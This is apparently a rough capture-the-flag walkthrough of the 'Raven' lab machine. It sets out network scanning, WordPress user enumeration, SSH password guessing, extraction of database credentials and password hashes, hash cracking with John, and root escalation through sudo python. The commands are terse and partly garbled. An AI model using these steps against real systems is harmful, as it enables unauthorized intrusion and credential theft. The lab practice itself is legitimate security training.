1. .1.11sshNmap -sn 192.168.1.0/24
2. Nmap -A 192.168.1.110
3. 80/tcp open http
4. Http-title: Raven Security
5. Host: TARGET1

3. Firefox: 192.168.1.110

* 1. 192.168.1.110
  2. Click blog: 192.168.1.110/wordpress/

4. Wpscan --url <http://192.168.1.110/wordpress/> --wp-content-dir -ep -eu

1. Users: michael, steven

5. Ssh michael@192.168.1.110

1. Pw: michael

6. Cd /var/www/html/wordpress

1. cat wp-config.php
2. DB\_USER user
3. DB\_PASSWORD R@v3nSecurity

7. Mysql -u root -p

1. Password: R@v3nSecurity
2. Show databases;
3. Use wordpress;
4. Show tables;
5. Select \* from wp\_users;
6. Seven Seagull hash revealed
7. \T mysql\_hash\_passwords.txt
8. Select \* from wp\_users;

8. scp michael@192.168.1.110:~/msqyl\_hash\_passwords.txt /~

9. Echo ‘steven:$P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/’ > hashdump.txt

10. seJohn /usr/share/wordlists/rockyou.txt ./hashdump.txt

1. Pw: pink84

11. Ssh steven@192.168.1.110

1. pw: pink84

12. root:

su steven

sudo –l

sudo python –c 'import pty;pty.spawn("/bin/bash")'

id

1. root@target1:/#

13. find / -name “flag\*.txt”

1. /var/www/flag2.txt
2. /root/flag4.txt

14. /var/www/flag2.txt

15. Flag 1: michael@target1:/var/www/html$ grep flag service.html

16. Flag 3: michal mysql wp\_posts